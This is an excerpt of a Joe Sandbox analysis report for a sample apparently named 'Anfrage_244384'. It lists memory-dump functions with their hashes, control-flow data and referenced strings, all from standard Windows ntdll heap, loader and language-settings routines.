                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: $ $0
                                                          • API String ID: 3446177414-3352262554
                                                          • Opcode ID: a6d530347a1ca0f261d01aa33f11f8df816983889794aed5015801d8372e5ea7
                                                          • Instruction ID: cd93f6d91c93b9480ccfa7a0b50f8d0d24279bf4e452b4ae68673c1ffcff0569
                                                          • Opcode Fuzzy Hash: a6d530347a1ca0f261d01aa33f11f8df816983889794aed5015801d8372e5ea7
                                                          • Instruction Fuzzy Hash: 5D3203B16083818FE310CF69C484B9BBBE5BB88344F14492EF59A8B350DB75D94ACF56
                                                          Function 34720274 Relevance: 16.1, APIs: 1, Strings: 8, Instructions: 348timeCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 1296 34720274-34720296 call 346c7e54 1299 347202b5-347202cd call 346676b2 1296->1299 1300 34720298-347202b0 RtlDebugPrintTimes 1296->1300 1305 347202d3-347202e9 1299->1305 1306 347206f7 1299->1306 1304 34720751-34720760 1300->1304 1308 347202f0-347202f2 1305->1308 1309 347202eb-347202ee 1305->1309 1307 347206fa-3472074e call 34720766 1306->1307 1307->1304 1311 347202f3-3472030a 1308->1311 1309->1311 1313 34720310-34720313 1311->1313 1314 347206b1-347206ba GetPEB 1311->1314 1313->1314 1315 34720319-34720322 1313->1315 1317 347206d9-347206de call 3466b970 1314->1317 1318 347206bc-347206d7 GetPEB call 3466b970 1314->1318 1319 34720324-3472033b call 3467ffb0 1315->1319 1320 3472033e-34720351 call 34720cb5 1315->1320 1326 347206e3-347206f4 call 3466b970 1317->1326 1318->1326 1319->1320 1331 34720353-3472035a 1320->1331 1332 3472035c-34720370 call 3466758f 1320->1332 1326->1306 1331->1332 1335 347205a2-347205a7 1332->1335 1336 34720376-34720382 GetPEB 1332->1336 1335->1307 1339 347205ad-347205b9 GetPEB 1335->1339 1337 347203f0-347203fb 1336->1337 1338 34720384-34720387 1336->1338 1340 34720401-34720408 1337->1340 1341 347204e8-347204fa call 346827f0 1337->1341 1342 347203a6-347203ab call 3466b970 1338->1342 1343 34720389-347203a4 GetPEB call 3466b970 1338->1343 1344 34720627-34720632 1339->1344 1345 347205bb-347205be 1339->1345 1340->1341 1350 3472040e-34720417 1340->1350 1364 34720590-3472059d call 347211a4 call 34720cb5 1341->1364 1365 34720500-34720507 1341->1365 1354 347203b0-347203d1 call 3466b970 GetPEB 1342->1354 1343->1354 1344->1307 1351 34720638-34720643 1344->1351 1346 347205c0-347205db GetPEB call 3466b970 1345->1346 1347 347205dd-347205e2 call 3466b970 1345->1347 1363 347205e7-347205fb call 3466b970 1346->1363 1347->1363 1357 34720438-3472043c 1350->1357 1358 34720419-34720429 1350->1358 1351->1307 1359 34720649-34720654 1351->1359 1354->1341 1384 347203d7-347203eb 1354->1384 1368 3472044e-34720454 1357->1368 1369 3472043e-3472044c call 346a3bc9 1357->1369 1358->1357 1366 3472042b-34720435 call 3472dac6 1358->1366 1359->1307 1367 3472065a-34720663 GetPEB 1359->1367 1395 347205fe-34720608 GetPEB 1363->1395 1364->1335 1373 34720512-3472051a 1365->1373 1374 34720509-34720510 1365->1374 1366->1357 1377 34720682-34720687 call 3466b970 1367->1377 1378 34720665-34720680 GetPEB call 3466b970 1367->1378 1370 34720457-34720460 1368->1370 1369->1370 1382 34720472-34720475 1370->1382 1383 34720462-34720470 1370->1383 1386 34720538-3472053c 1373->1386 1387 3472051c-3472052c 1373->1387 1374->1373 1392 3472068c-347206ac call 347186ba call 3466b970 1377->1392 1378->1392 1393 34720477-3472047e 1382->1393 1394 347204e5 1382->1394 1383->1382 1384->1341 1398 3472053e-34720551 call 346a3bc9 1386->1398 1399 3472056c-34720572 1386->1399 1387->1386 1396 3472052e-34720533 call 3472dac6 1387->1396 1392->1395 1393->1394 1401 34720480-3472048b 1393->1401 1394->1341 1395->1307 1403 3472060e-34720622 1395->1403 1396->1386 1410 34720563 1398->1410 1411 34720553-34720561 call 3469fe99 1398->1411 1402 34720575-3472057c 1399->1402 1401->1394 1408 3472048d-34720496 GetPEB 1401->1408 1402->1364 1409 3472057e-3472058e 1402->1409 1403->1307 1413 347204b5-347204ba call 3466b970 1408->1413 1414 34720498-347204b3 GetPEB call 3466b970 1408->1414 1409->1364 1416 34720566-3472056a 1410->1416 1411->1416 1422 347204bf-347204dd call 347186ba call 3466b970 1413->1422 1414->1422 1416->1402 1422->1394
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: About to reallocate block at %p to %Ix bytes$About to rellocate block at %p to 0x%Ix bytes with tag %ws$HEAP: $HEAP[%wZ]: $Invalid allocation size - %Ix (exceeded %Ix)$Just reallocated block at %p to %Ix bytes$Just reallocated block at %p to 0x%Ix bytes with tag %ws$RtlReAllocateHeap
                                                          • API String ID: 3446177414-1700792311
                                                          • Opcode ID: 4ea2ab9bbcbaf79928d5b6ca7b0a5c3597a8a14486e027fac5a020e93d4d296f
                                                          • Instruction ID: 6ba3fc65dca35a1b8528d2d61662fc8d31e4b052cb4045a4959186e112e9fd8c
                                                          • Opcode Fuzzy Hash: 4ea2ab9bbcbaf79928d5b6ca7b0a5c3597a8a14486e027fac5a020e93d4d296f
                                                          • Instruction Fuzzy Hash: F5D1DC35500685DFEB01CF68C444AAABBF6FF4A714F04805DE546AF752CB39A981CF68
                                                          Function 3466D34C Relevance: 12.8, Strings: 10, Instructions: 312COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: @$@$@$Control Panel\Desktop$Control Panel\Desktop\MuiCached$H/i4$MachinePreferredUILanguages$PreferredUILanguages$PreferredUILanguagesPending$\Registry\Machine\Software\Policies\Microsoft\MUI\Settings
                                                          • API String ID: 0-254365235
                                                          • Opcode ID: 8be59d076ca706a609c21528669ca80f4511fd2a1f2610fdd16b4199f7edd8d3
                                                          • Instruction ID: 65df8cb386e01be9498c4ee026326c957528c7112e025e6e8c1a1b6dba1e7a54
                                                          • Opcode Fuzzy Hash: 8be59d076ca706a609c21528669ca80f4511fd2a1f2610fdd16b4199f7edd8d3
                                                          • Instruction Fuzzy Hash: AFB17BB56083519FE711CF24C880B5BB7E9EB98758F41492EF88AE7241DB34DD488B92
                                                          Function 3471F525 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 231timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: HEAP: $HEAP[%wZ]: $Invalid allocation size - %Ix (exceeded %Ix)$Just allocated block at %p for %Ix bytes$Just allocated block at %p for 0x%Ix bytes with tag %ws$RtlAllocateHeap
                                                          • API String ID: 3446177414-1745908468
                                                          • Opcode ID: 668b5cd83473d9252476a06e29c490b3490cbd992cbd540df4fe6aa35f40cdd3
                                                          • Instruction ID: 9eb34445816de4f35ef3d39e70e7074dec2cf84bd5eac8f1fef9ae5f81ac0e5c
                                                          • Opcode Fuzzy Hash: 668b5cd83473d9252476a06e29c490b3490cbd992cbd540df4fe6aa35f40cdd3
                                                          • Instruction Fuzzy Hash: EE91BC75A00641DFEB01CF68C440AA9BBF6FF4A714F54805EE445AB762CB399982CF18
                                                          Function 347212ED Relevance: 11.8, Strings: 9, Instructions: 515COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: Free Heap block %p modified at %p after it was freed$HEAP: $HEAP[%wZ]: $Heap Segment at %p contains invalid NumberOfUnCommittedPages (%x != %x)$Heap Segment at %p contains invalid NumberOfUnCommittedRanges (%x != %x)$Heap block at %p has corrupted PreviousSize (%lx)$Heap block at %p has incorrect segment offset (%x)$Heap block at %p is not last block in segment (%p)$Heap entry %p has incorrect PreviousSize field (%04x instead of %04x)
                                                          • API String ID: 0-3591852110
                                                          • Opcode ID: 92e19378af6d3e561266649884844f69b83dcd2f1f1b67f8a646d6e4128441a0
                                                          • Instruction ID: d2d04afbebddffcbf5a323add8b1acbf3f835be9147a53227fbf9bb2060fc80a
                                                          • Opcode Fuzzy Hash: 92e19378af6d3e561266649884844f69b83dcd2f1f1b67f8a646d6e4128441a0
                                                          • Instruction Fuzzy Hash: 54128B74600742EFE7158F25C494BAABBE6FF09714F54849DE4868FB42DB38E981CB90
                                                          Function 3466D08D Relevance: 11.5, Strings: 9, Instructions: 249COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • H/i4, xrefs: 346CA843
                                                          • Control Panel\Desktop\MuiCached\MachineLanguageConfiguration, xrefs: 3466D262
                                                          • @, xrefs: 3466D0FD
                                                          • @, xrefs: 3466D2AF
                                                          • Software\Policies\Microsoft\Control Panel\Desktop, xrefs: 3466D146
                                                          • Control Panel\Desktop\LanguageConfiguration, xrefs: 3466D196
                                                          • \Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration, xrefs: 3466D2C3
                                                          • @, xrefs: 3466D313
                                                          • \Registry\Machine\Software\Policies\Microsoft\MUI\Settings, xrefs: 3466D0CF
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: @$@$@$Control Panel\Desktop\LanguageConfiguration$Control Panel\Desktop\MuiCached\MachineLanguageConfiguration$H/i4$Software\Policies\Microsoft\Control Panel\Desktop$\Registry\Machine\Software\Policies\Microsoft\MUI\Settings$\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration
                                                          • API String ID: 0-3399112313
                                                          • Opcode ID: a7dcd75d73d2a4379724c97ad77cbd19bc2321947e19fd2d3310bfd9eb9b88b0
                                                          • Instruction ID: 9a0410de4ee5d1f9714e77cfdda2d932c7dc01132b3c4f3211045799dee8c366
                                                          • Opcode Fuzzy Hash: a7dcd75d73d2a4379724c97ad77cbd19bc2321947e19fd2d3310bfd9eb9b88b0
                                                          • Instruction Fuzzy Hash: 98A17EB1908345DFE721CF25C884B5BB7E8FB84769F40492EE589A6241D778D908CF93
                                                          Function 34681070 Relevance: 11.4, APIs: 2, Strings: 4, Instructions: 940timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: !(CheckedFlags & ~HEAP_CREATE_VALID_MASK)$@$HEAP: $HEAP[%wZ]:
                                                          • API String ID: 3446177414-3570731704
                                                          • Opcode ID: 067fd79ab44660c5cbf1835e58cabc364a4278c097afa4798ecca6e0af6efdb5
                                                          • Instruction ID: f4c9972dc0677e7f1aa8520b180e3c389a11e94ba7e638cff115b892059fd95e
                                                          • Opcode Fuzzy Hash: 067fd79ab44660c5cbf1835e58cabc364a4278c097afa4798ecca6e0af6efdb5
                                                          • Instruction Fuzzy Hash: 86925875A01368CFEB24CF18CC50B99B7B6BF45354F0582EAD949AB291DB309E80CF56
                                                          Function 3471FD78 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 190timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: About to free block at %p$About to free block at %p with tag %ws$HEAP: $HEAP[%wZ]: $RtlFreeHeap
                                                          • API String ID: 3446177414-3492000579
                                                          • Opcode ID: 80d022e84400972ca519a996731301eab7130957a8200f5393ebdf360db1b08e
                                                          • Instruction ID: 038bf724ad42e473cf08da4f7c691d882c0dc7ca3cf085e6e3936bef6c6290b6
                                                          • Opcode Fuzzy Hash: 80d022e84400972ca519a996731301eab7130957a8200f5393ebdf360db1b08e
                                                          • Instruction Fuzzy Hash: 0171DE71A01684DFEB01CF68C440AADFBF6FF4A714F04805AE445AB352CB799986CB58
                                                          Function 3469D7B0 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 151timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • RtlDebugPrintTimes.NTDLL ref: 3469D959
                                                            • Part of subcall function 34674859: RtlDebugPrintTimes.NTDLL ref: 346748F7
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: $$$$LdrShutdownProcess$Process 0x%p (%wZ) exiting$minkernel\ntdll\ldrinit.c
                                                          • API String ID: 3446177414-1975516107
                                                          • Opcode ID: a77c419e6173d8e170e2183daa68d7ff5b8f06017663fb0027c11bc3307424f5
                                                          • Instruction ID: ec183ebc44b41a1312490f830fdcf345dbba831e71c00b152422617dc6bbc4c5
                                                          • Opcode Fuzzy Hash: a77c419e6173d8e170e2183daa68d7ff5b8f06017663fb0027c11bc3307424f5
                                                          • Instruction Fuzzy Hash: 8051BBB5A00345DFEB04DFA4C6847DDBBF2FB48354F244169D8046B292D7B8A882CF95
                                                          Function 34709179 Relevance: 10.4, Strings: 8, Instructions: 401COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: %s\%ld\%s$%s\%u-%u-%u-%u$AppContainerNamedObjects$BaseNamedObjects$Global\Session\%ld%s$\AppContainerNamedObjects$\BaseNamedObjects$\Sessions
                                                          • API String ID: 0-3063724069
                                                          • Opcode ID: 3de12fde0d2c6153ce8dec387a632115a895c5bf84a1ecbe61d8521ace836df6
                                                          • Instruction ID: a50128cddbeb66fcc060bd1791b663c61892a37491a173f86e55a28c8c7cdf9e
                                                          • Opcode Fuzzy Hash: 3de12fde0d2c6153ce8dec387a632115a895c5bf84a1ecbe61d8521ace836df6
                                                          • Instruction Fuzzy Hash: 65D1A5F2806315AFE721CE54C840BABB7E9AF84754F41892DF984AB360D774C9488FD6
                                                          Function 3466F172 Relevance: 8.2, Strings: 6, Instructions: 684COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: (!TrailingUCR)$((LONG)FreeEntry->Size > 1)$(LONG)FreeEntry->Size > 1$(UCRBlock != NULL)$HEAP: $HEAP[%wZ]:
                                                          • API String ID: 0-523794902
                                                          • Opcode ID: c99ae9d24fec4fa97d602c3a60e4385ea5be59d95b500296be77ec7ce120911e
                                                          • Instruction ID: e8a46ba32cef70095966fc2becda5f9bf94dbce060e4765bf2f79a6cf780473e
                                                          • Opcode Fuzzy Hash: c99ae9d24fec4fa97d602c3a60e4385ea5be59d95b500296be77ec7ce120911e
                                                          • Instruction Fuzzy Hash: A242D075208781DFE305CF28C484A5ABBE9FF98748F04496DE4868B752DB38EC45CB56
                                                          Function 346951EF Relevance: 7.9, Strings: 6, Instructions: 434COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: H/i4$Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
                                                          • API String ID: 0-759644102
                                                          • Opcode ID: a5989d1ab3e2f38073eb5b6123358a1e36b57555636b1ec34a61eeb9bba5f5bf
                                                          • Instruction ID: 656ef4891e074e5106c63b98f89974f6582e03d403d38189daa904356934fa47
                                                          • Opcode Fuzzy Hash: a5989d1ab3e2f38073eb5b6123358a1e36b57555636b1ec34a61eeb9bba5f5bf
                                                          • Instruction Fuzzy Hash: B3F14CB6D10218EFDF45CFA4C990ADEBBF9FF58A50F51006AE505A7210EB709E01CBA4
                                                          Function 3468B1B0 Relevance: 7.8, Strings: 6, Instructions: 350COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: API set$DLL %wZ was redirected to %wZ by %s$LdrpPreprocessDllName$LdrpPreprocessDllName for DLL %wZ failed with status 0x%08lx$SxS$minkernel\ntdll\ldrutil.c
                                                          • API String ID: 0-122214566
                                                          • Opcode ID: dbc31b53bb2ef1527f4dc2e3a5d7b8ce6161fa3cc1a53cbcfe646f548c0be38e
                                                          • Instruction ID: 0f5e67cdc32214d756d491511d2568b6efa86610e9a8d2cc9476c4f5ee1fe886
                                                          • Opcode Fuzzy Hash: dbc31b53bb2ef1527f4dc2e3a5d7b8ce6161fa3cc1a53cbcfe646f548c0be38e
                                                          • Instruction Fuzzy Hash: 9AC15571A00315EFEB148F64C891BBE7BA9AF56B14F14406DF825EB291EB74CC48C792
                                                          Function 34680770 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 414COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: (UCRBlock->Size >= *Size)$HEAP: $HEAP[%wZ]:
                                                          • API String ID: 0-4253913091
                                                          • Opcode ID: a8907f48dffd376cd8c7e286eac9d44823e4d4b2385dc03617f72295133f8b05
                                                          • Instruction ID: 8b391d2e9b378c04cdcfa5295c0f3a500004b3e8d2a7beef7294f844835619d2
                                                          • Opcode Fuzzy Hash: a8907f48dffd376cd8c7e286eac9d44823e4d4b2385dc03617f72295133f8b05
                                                          • Instruction Fuzzy Hash: D4F1C974B00B05DFEB14CF68C8A4B6AB7B9FF45304F1185A8E5069B791DB34E981CB91
                                                          Function 3469F5B0 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 382COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 346E02BD
                                                          • RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 346E02E7
                                                          • RTL: Re-Waiting, xrefs: 346E031E
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u$RTL: Re-Waiting
                                                          • API String ID: 0-2474120054
                                                          • Opcode ID: 71e7b2c374d52fac769f1b0dd6ce0d532dfdf2a8c95eff04e3ff0083b852e9fa
                                                          • Instruction ID: a5fa984d8307feac7637c3fe92bb38477923d8c1017eea532bae0016c9d3e849
                                                          • Opcode Fuzzy Hash: 71e7b2c374d52fac769f1b0dd6ce0d532dfdf2a8c95eff04e3ff0083b852e9fa
                                                          • Instruction Fuzzy Hash: 92E1BF74604741DFE714CF28C984B9AB7E8FB88364F110A5DF4A58B2D1DBB5D885CB42
                                                          Function 346F9C32 Relevance: 6.8, Strings: 5, Instructions: 542COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: @$AVRF: Verifier .dlls must not have thread locals$KnownDllPath$L$\KnownDlls32
                                                          • API String ID: 3446177414-3127649145
                                                          • Opcode ID: fdeacbaaf766aa3d3941c214359f2768bb3790e42b9f818483388826ff6ccf5c
                                                          • Instruction ID: d172a248774eac7144203679efc50565f8a1114e8c6c408660bfef4875e0726c
                                                          • Opcode Fuzzy Hash: fdeacbaaf766aa3d3941c214359f2768bb3790e42b9f818483388826ff6ccf5c
                                                          • Instruction Fuzzy Hash: E33257B4A007199FEB21CF65CC88B9AB7F8FF48704F1041EAE549A7650DB71AA84CF45
                                                          Function 3474B16B Relevance: 6.4, APIs: 4, Instructions: 450timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID:
                                                          • API String ID: 3446177414-0
                                                          • Opcode ID: 021a7d6f2255d6010ec83dda02b0a7edaa2c8982a8a5a069c77e640c65d700c7
                                                          • Instruction ID: 029042e5d5dccaa2a0eab699a33c534559f0c67f95d9280844f85d2cb293bcab
                                                          • Opcode Fuzzy Hash: 021a7d6f2255d6010ec83dda02b0a7edaa2c8982a8a5a069c77e640c65d700c7
